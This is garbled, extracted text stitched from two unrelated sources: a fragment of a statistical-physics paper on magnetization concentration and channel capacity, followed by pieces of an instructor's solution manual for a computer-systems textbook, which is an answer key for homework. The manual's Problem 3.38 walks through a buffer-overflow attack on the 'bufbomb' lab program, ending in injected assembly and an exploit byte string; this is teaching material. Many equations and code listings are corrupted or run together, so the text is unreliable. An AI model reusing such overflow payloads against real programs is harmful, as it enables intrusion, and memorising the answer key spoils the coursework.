distributions of m1and q12deﬁned asP m1(x)=E δ(x−m1) t,u,P q12(x)=E δ(x−q12) t,uare equal,namelyP m1(x)=P q12(x)In particular the following identity holdsE[ m1 t,u]=E[ q12 t,u](38) Such identities are known as Nishimori identities in the statistical physics literature and are a consequence of a gauge symmetry satisﬁed by the measure E − t,u.They have also been used in the context of communications(see[11],[16]).For completeness a sketch of the proof is given in Appendix F.The next two identities also follow from similar considerations.Lemma2.LetZ+Ns z(α),α=1,2corresponding to z(α)k =1−x(α)k.We have then12 t,u]=1(39) andE[ (n(2))(z(2)) t,u]= k E[ (n)z k t,u](40)3.3Concentration of MagnetizationA crucial feature of the calculation in the next paragraph is that m1(and q12)concentrate,namely Theorem7.Fix anyǫ>0.For Lebesgue almost every u>ǫ,lim N→∞ 1dt E |m1−E m1 t,u| t=0The proof of this theorem,which is the point where the careful tuning of the perturbation is needed, has an interest of its own and is presented section4.Similar statements in the spin glass literature have been obtained by Talagrand[9].The usual signature of replica symmetry breaking is the absence of concentration for the overlap parameter q12.This theorem combined with the Nishimori identity “explains”why the replica symmetry is not broken.We will also need the following corollaryCorollary1.The following holds1·s z N3/2E n t,u(1−E m1 t,u)+o N(1)with lim N→+∞o N(1)=0for almost every u>0.Proof.By the Cauchy-Schwartz inequality1·s z N3/2(E (n)2 t,u)1/2×(E (E m1 t,u−m1)2 t,u)1/2Because of the concentration of the magnetization m1(theorem7)it suﬃces to prove thatE N−33.4Computation ofddtE [f t,u ]=T 1+T 2(42)whereT 1=−λ′(t )λ(t )KE wt,u −λ′(t )·zK√2·s z2+)·z 2(1)·(wλ(t )z2KE zt,u=−λ′(t )2E 1−m 1 t,uTo obtain the second equality we remark that the w2(1+β(1−m )B (t ))2E 1−m 1 t,u(45)3.4.2Transforming T 2The term T 2can be rewritten asT 2=−B ′(t ) 2t,u +B ′(t )2+B ′(t )B (t )K√·s z2NE nt,u (46)Now we use integration by parts with respect to s ik ,T 2=−B ′(t )·Z·z2KNE (n(2))(z(2)) t,uand the Nishimori identity (40)T 2=−B ′(t )·Z212 z k t,u ]−B ′(t ) 2KN 3/2kE (n)(1−x k ) t,uSince12=12βE 1−m 1 t,u +o N (1)−βB ′(t ) 2KN 1/2E (n )(1−m 1) t,uApplying Corollary 1to the last expression for T 2together with (46)we obtain a closed aﬃne equation for the later,whose solution isT 2=−B ′(t )E 1−m 1 t2βln(1+βB (1−m ))from (35)and use the integral representation12β1dtβB ′(t )(1−m )2βln(1+βB (1−m ))+1dtd2(1+βB (t )(1−m ))If one uses (42)and expressions (45),(47)some remarkable algebra occurs in the last integral.The integrand becomesR (t )+B ′(t )(1−m )2(1+βB (t )(1−m ))2(1+βB (t )E 1−m 1 t,u )So the integral has a positive contribution 10dtR (t )≥0plus a computable contribution equal to B (1−m )2(1−m ).Finally thanks to (31)we ﬁnd1λz +λ))−12βln(1+βB (1−m ))−λu )(48)where for a.e u >ǫ,lim N →∞o N (1)=0.We take ﬁrst the limit N →∞,then u →ǫ(along some appropriate sequence)and then ǫ→0to obtain a formula for the free energy where the only non-explicit contribution is 10dtR (t ).Since this is positive for all m ,we obtain a lower bound on the free energy which is equivalent to the announced upper bound on the capacity.4Concentration of MagnetizationThe goal of this section is to prove Theorem 7.The proof is organized in a succession of lemmas.By the same methods used for Theorem 2we can proveLemma 3.There exists a strictly positive constant α(which remains positive for all t and u )such thatP [|f t,u −E [f t,u ]|≥ǫ]=O (e−αǫ2√Lemma 4.When considered as a function of u ,f t,u is convex in u .Proof.We simply evaluate the second derivative and show it is positive.d f t,u) t,u −1uk|h k |where we have deﬁnedL (xK1ukh k x k +1du 2=14u 3/2kh k x kt,u+1)2 t,u − L (x)turns out to be very useful and satisﬁes two concentration properties.Lemma 5.For any a >ǫ>0ﬁxed,a ǫdu EL (x) t,u t,u=O1KProof.From equation (49),wehavea ǫdu EL (x) t,u2 t,u≤aǫdu1du 2E [f t,u ]≤1duE [f t,a ]−dKIn the very last equality we use that the ﬁrst derivative of E [f t,u ]is bounded for u ≥ǫ.Using Cauchy-Schwartz inequality for E − t,u we obtain the lemma.Lemma 6.For any a >ǫ>0ﬁxed,a ǫdu EL (x) t,u=O116Proof.From convexity of f t,u with respect to u (lemma 4)we have for any δ>0,dduE [f t,u ]≤f t,u +δ−f t,udu E [f t,u ]≤f t,u +δ−E [f t,u +δ]δ+dduE [f t,u ]A similar lower bound holds with δreplaced by −δ.Now from Lemma 3we know that the ﬁrst twoterms are O (K1KKk =1|h k |are O (1K )we get EL (x) t,u ≤1√δO14+dduE [f t,u ]We will choose δ=18.Note that we cannot assume that the diﬀerence of the two derivatives is smallbecause the ﬁrst derivative of the free energy is not uniformly continuous in K (as K →∞it may develop jumps at the phase transition points).The freeenergy itself is uniformly continuous.For this reason if we integrate with respect to u,using (34)we geta ǫdu EL (x) t,u ≤O 116Using the two last lemmas we can prove Theorem 7.Proof of Theorem 7:Combining the concentration lemmas we geta ǫdu E |L (x) t,u | t,u ≤O 116For any function g (x)|≤1,we haveaǫdu |E L (x) t,u −E L (x) t,u | t,u ≤aǫdu E |L (x) t,u | t,uMore generally the same thing holds if one takes a function depending on many replicas such asg (x(2))=q ing integration by parts formula with respect to h k ,E L (x2K √2E (1+q 12)q 12 t,u −12E (1+q 12)q 12 t,u =1) t,u E q 12 t,u =12(E m 1 t +(E m 1 t )2)(51)From equations (50)and (51),we geta ǫdu |E m 21 t,u −(E m 1 t,u )2|≤O116Now integrating with respect to t and exchanging the integrals (by Fubini’s theorem),we geta ǫdu 10dt |E m 21 t,u −(E m 1 t,u )2|≤O116The limit of the left hand side as K →∞therefore vanishes.By Lebesgue’s theorem this limit can beexchanged with the u integral and we get the desired result.(Note that one can further exchange the limit with the t -integral and obtain that the ﬂuctuations of m 1vanish for almost every (t,u )).5Proof of independence from spreading sequence distribution:Theorem 4We consider a communication system with spreading values r ik generated from a symmetric distribution with unit variance and satisfying assumption A.We compare the capacity of this system to the Gaussian N (0,1)case whose spreading sequence values are denoted by s ik .The comparison is done through an interpolating system with respect to the two spreading sequencesv ik (t )=√1−ts ik ,0≤t ≤1。

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Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not deﬁne the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least signiﬁcant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most signiﬁcant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we deﬁne y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Theﬁnal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/ﬂoatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughﬂoating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEﬂoating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insigniﬁcant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computeﬁrst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overﬂow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return aﬁxed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Weﬁnd the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Weﬁnd the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overﬂow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between theﬂoating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。

ECE R10.03

